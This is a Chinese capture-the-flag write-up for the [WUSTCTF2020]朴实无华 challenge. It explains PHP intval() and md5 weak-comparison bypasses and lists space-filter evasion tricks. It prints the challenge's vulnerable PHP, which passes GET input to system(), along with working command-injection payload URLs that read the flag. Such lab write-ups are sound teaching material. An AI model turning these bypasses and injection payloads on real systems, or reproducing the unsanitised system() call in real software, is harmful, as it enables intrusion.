当前位置:网站首页>intval md5绕过之[WUSTCTF2020]朴实无华
intval md5绕过之[WUSTCTF2020]朴实无华
2022-07-25 11:47:00 【一只Traveler】
知识点:
01 intval()函数的绕过
根据intval()函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
intval函数还可以用于判断回文串,因为intval函数的最大值取决于操作系统,如果字符串的回文超过了最大的范围值,那么返回的值就也是原来的字符串,就会变成回文串,实现了绕过。
02 md5绕过
==弱类型绕过:
比如
$a!=$b&&md($a)==md5($b)
可以使用0e开头的科学计数来绕过,使用0e215962017、QNKCDZO、s878926199a;
$a==md5($a)时使用科学计数0e215962017
强类型比较===
a!==b md值要相等;
使用工具,或者数组;
03.空格绕过
< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
回到题目:
扫描文件:发现robots.txt;
打开发现的php;
观察响应头发现还有fl4g.php;
打开得到源码;
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?> 这里的三个绕过用到上面的知识点:
直接payload
?num=2e4&md5=0e215962017&get_flag=ls
得到文件列表:
?num=2e4&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
边栏推荐
- 想要做好软件测试,可以先了解AST、SCA和渗透测试
- Ansible
- mysql实现一张表数据插入另一张表
- scrapy 爬虫框架简介
- Web programming (II) CGI related
- R language uses the ggarrange function of ggpubr package to combine multiple images, and uses the ggexport function to save the visual images in JPEG format (width parameter specifies width, height pa
- R language Visual scatter diagram, geom using ggrep package_ text_ The rep function avoids overlapping labels between data points (set the min.segment.length parameter to inf and do not add label segm
- aaaaaaaaaaA heH heH nuN
- Ups and downs of Apple's supply chain in the past decade: foreign head teachers and their Chinese students
- Monit installation and use
猜你喜欢

Feign use

Introduction to the scratch crawler framework

【Flutter -- 布局】层叠布局(Stack和Positioned)

Client open download, welcome to try

WPF project introduction 1 - Design and development of simple login page

Pytorch project practice - fashionmnist fashion classification

3.2.1 what is machine learning?

Word中的空白页,怎么也删不掉?如何操作?

利用wireshark对TCP抓包分析

【Flutter -- 实例】案例一:基础组件 & 布局组件综合实例
随机推荐
Ups and downs of Apple's supply chain in the past decade: foreign head teachers and their Chinese students
客户端开放下载, 欢迎尝鲜
2.1.2 机器学习的应用
Script set random user_ agent
PyTorch进阶训练技巧
Can't delete the blank page in word? How to operate?
Zero shot image retrieval (zero sample cross modal retrieval)
Mirror Grid
第一个scrapy爬虫
After having a meal with trump, I wrote this article
Fault tolerant mechanism record
Jenkins配置流水线
PyTorch可视化
Add a little surprise to life and be a prototype designer of creative life -- sharing with X contestants in the programming challenge
Numpy first acquaintance
水博士2
Week303 of leetcode (20220724)
919. Complete binary tree inserter: simple BFS application problem
Median (二分答案 + 二分查找)
【九】坐标格网添加以及调整